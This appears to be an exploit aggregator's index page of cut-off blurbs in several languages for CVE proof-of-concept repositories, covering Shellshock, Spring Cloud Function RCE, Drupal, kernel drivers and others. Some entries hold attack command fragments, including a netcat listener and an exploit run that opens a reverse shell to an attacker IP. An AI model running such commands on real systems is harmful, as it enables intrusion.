patched-bash-4.3

patched-bash-4.3 CVE-2014-6271용 패치된 bash-4.3 이것은 단순히 bash 4.3으로, gnu 웹사이트에서 가져와 2014년 9월 26일에 제공된 패치가 적용된 것입니다. 여기에는 환경 변수에서 함수를 실행하는 어리석은 기능을 완전히 비활성화하는 pkgsrc 기능 변경 사항도 포함됩니다. 패치 파일도 여기에 포함되어 있지만, 이미 소스 코드에 적용했습니다 patch 명령어에 익숙하지 않은 분들을 위해. 저를 모르거나 신뢰하지 않는다면 이것을 사용하지 마세요. 직접 빌드하세요. 친구나 동료에게 이곳을...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function 취약점 CVE-2022-22963 RCE 이것은 Spring4Shell, CVE-2022-22963의 Python 구현체로, Spring Cloud Function =3.1.6 3.1.x 기준 및 =3.2.2 3.2.x 기준를 실행하는 서비스에 영향을 줍니다. 여러 POC를 온라인에서 결합한 것입니다. 저자: Randall Banner 날짜: 17/04/23 설명: 스크립트는 현재 디렉토리에 shell.sh를 생성하며, 간단한 bash 리버스 셸 원라이너를 포함합니다. 그런 다음 웹서버를...

CVE-2019-0709

CVE-2019-0708 エクスプロイト進行中 脆弱性関数にヒットします。...

CVE-2018-7600

CVE-2018-7600 - Drupal 7 リモートコード実行 これは、脆弱なDrupal 7インストール（= 7.57）を標的としたCVE-2018-7600エクスプロイトのRust実装です。このCLIは次のPoCフローを再現します。user/passwordパスを介してキャッシュされたレンダリング可能なフォームを汚染し、formbuildidを抽出し、その後file/ajaxエンドポイントを通じてキャッシュされたペイロードをトリガーし、PHP関数呼び出しによるリモートコード実行を達成します。 脆弱性の概要 CVE-2018-7600は、Drupal...

EUVD-2026-65525

NLTK: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers incomplete fix of CVE-2026-12841...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 PoC 略微修改，用于英语翻译和对 https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/SpelRCEPOC.py 的检测。默认情况下，对目标执行 whoami 命令，并创建一个 vulnerable.txt 文件，其中包含存在漏洞的 URL。 利用此漏洞非常容易实现。下面给出了利用该漏洞的 curl 命令。 curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

optee-qemu

CVE-2021-44733: 리눅스 커널 TEE 서브시스템의 use-after-free 취약점 퍼징 및 익스플로잇 최근 리눅스 커널 TEE 서브시스템버전 5.15.11까지 포함에서 use-after-free 취약점이 발견되어 CVE-2021-44733 1이 할당되었습니다. 처음에는 여러 이유로 익스플로잇이 불가능해 보였지만, 취약한 코드 경로를 추가로 분석하고 개념 증명 익스플로잇을 구현한 결과 커널의 함수 포인터를 덮어쓸 수 있었습니다. 이 글에서는 권한 상승 페이로드를 제시하지 않지만, OPTEE와 익스플로잇을 실행하기 위...

CVE-2021-38304-PoC

CVE-2021-38304 개념 증명 개요 이 저장소는 오래된 버전의 National Instruments nipalk.sys 드라이버에 존재하는 심각한 보안 취약점에 대한 개념 증명PoC을 포함하고 있습니다. 이 취약점을 통해 커널 모드에서 임의 코드 실행 및 메모리 노출이 가능합니다. 본 자료는 개인 연구 목적으로만 제공됩니다. 설명 nipalk.sys 드라이버는 특정 IOCTL 요청을 처리하는 과정에서 사용자가 제공한 포인터를 부적절하게 처리합니다. 이 결함으로 인해 공격자가 드라이버가 커널 컨텍스트에서 제어된 매개변수로...

CVE-2020-12272

creationtimestamp| type| source ---|---|--- 2026-09-01 20:01:59+00:00| seen| https://t.me/hackingAttack/38673 2026-09-02 01:02:21+00:00| seen| https://t.me/hackingAttack/38673...

CVE-2025-59528.yaml

CVE-2025-59528.yaml...

CVE-2025-0288

CVE-2025-0287 이 저장소는 취약한 Windows 드라이버의 리버스 엔지니어링 과정에서 식별된 취약 함수의 스크린샷을 포함합니다. 설명 biontdrv.sysVul: 취약 버전 biontdrv.sysSecure: 패치된 버전 POCCVE-2025-0288.c: 개념 증명 코드 diff.png: 취약 함수의 스크린샷 상세 분석 자세한 분석은 제 블로그에서 확인하실 수 있습니다: 전체 분석 보고서 읽기 취약 함수...

CVE-2024-21513

CVE-2024-21513 CVE-2024-21513에 대한 PoC Snyk Security Research에서 문서화한 원본 익스플로잇 Exploit CVE-2024-21513은 langchain-experimental에서 검증되지 않은 SQL 쿼리 결과가 Python의 eval에 전달되어 SQL 기반 입력 주입을 통해 원격 코드 실행이 가능한 취약점입니다. PoC 구조 이 PoC는 사용자가 SQLite DB에 좌표를 입력할 수 있는 인라인 HTML이 포함된 매우 기본적인 Flask 앱입니다. 사용자가 y 값에 악성 페이로드...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 익스플로잇 CVE 2022-22963 Spring Cloud Function의 CVE-2022-22963 원격 명령 실행 익스플로잇 취약점에 대한 자세한 내용은 여기 및 여기에서 확인하세요 PoC 호스트에서 netcat을 실행하세요: root@kitploit: $ nc -lvnp 9001 공격자 호스트에서 기본 포트 9001로 익스플로잇을 실행합니다 예시: root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit fo...

CVE-2014-6271

CVE-2014-6271 GNU Bash 4.3까지 존재하는 "ShellShock"으로 알려진 취약점은 함수 정의 후 환경 변수 값의 후행 문자열을 처리하는 방식에 있습니다. 이 취약점으로 인해 원격 공격자는 Bash 실행 시 권한 경계를 넘어 환경이 설정되는 특정 상황에서 환경을 조작하여 임의 코드를 실행할 수 있습니다. 이 취약점은 OpenSSH sshd의 ForceCommand 기능, Apache HTTP Server의 modcgi 및 modcgid 모듈, 그리고 지정되지 않은 DHCP 클라이언트가 실행하는 스크립트 등...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 원격 코드 실행 취약점 CVE-2016-5734 설정 root@kitploit: git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 익스플로잇 root@kitploit: python3 cve-2016-5734.py -u root --pwd="root"...

CVE-2022-22963

Spring Cloud Function 취약점CVE-2022-22963 CVE-2022-22963에 취약한 애플리케이션 CVE-2022-22963 익스플로잇 데모 https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4 빌드 root@kitploit: docker pull me2nuk/cves:2022-22963 docker run -it -p 8080:8080 --name=vuln...

CVE-2021-46365

CVE-2021-46365: Magnolia CMS의 안전하지 않은 XML 파싱 Magnolia v6.2.3 이하의 내보내기Export 기능에서 공격자가 조작된 XLF 파일을 통해 XML External Entity 공격을 실행할 수 있는 문제가 발견되었습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. 요구사항: 이 취약점을 악용하기 위해서는: 유효한 사용자 자격 증명 개념 증명: 더 자세한 내용 및 익스플로잇 과정은 이 PDF에서 확인할 수 있습니다...

CVE-2020-0674-Exploit

CVE-2020-0674 CVE-2020-0674는 레거시 jscript 엔진의 use-after-free 취약점입니다. Internet Explorer에서 트리거될 수 있습니다. 이 익스플로잇은 maxpl0it이 작성했지만, 취약점 자체는 Qihoo 360이 실제 환경에서 사용 중인 것을 발견했습니다. 이 익스플로잇은 단순히 계산기를 실행합니다. 익스플로잇 분석은 여기에서 확인할 수 있습니다. 취약점 개요 이 취약점은 비교자 함수를 사용할 때 Array sort 함수에 존재합니다. 비교자 함수에 제공되는 두 인수는 가비지...

GHSA-73WF-GQ98-2V4G Browserslist: Uncaught crash / prototype write via untrusted browserslist-stats.json custom stats (normalizeStats)

Vulnerability Details File: node.js Function: normalizeStats line 214, reached from getStat called unconditionally on every browserslist call and loadStat Root Cause js function normalizeStatsdata, stats if !data data = if stats && 'dataByBrowser' in stats stats = stats.dataByBrowser if typeof...

CVE-2026-10195

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec function, combined with missing authorization checks on the REST API endpoints...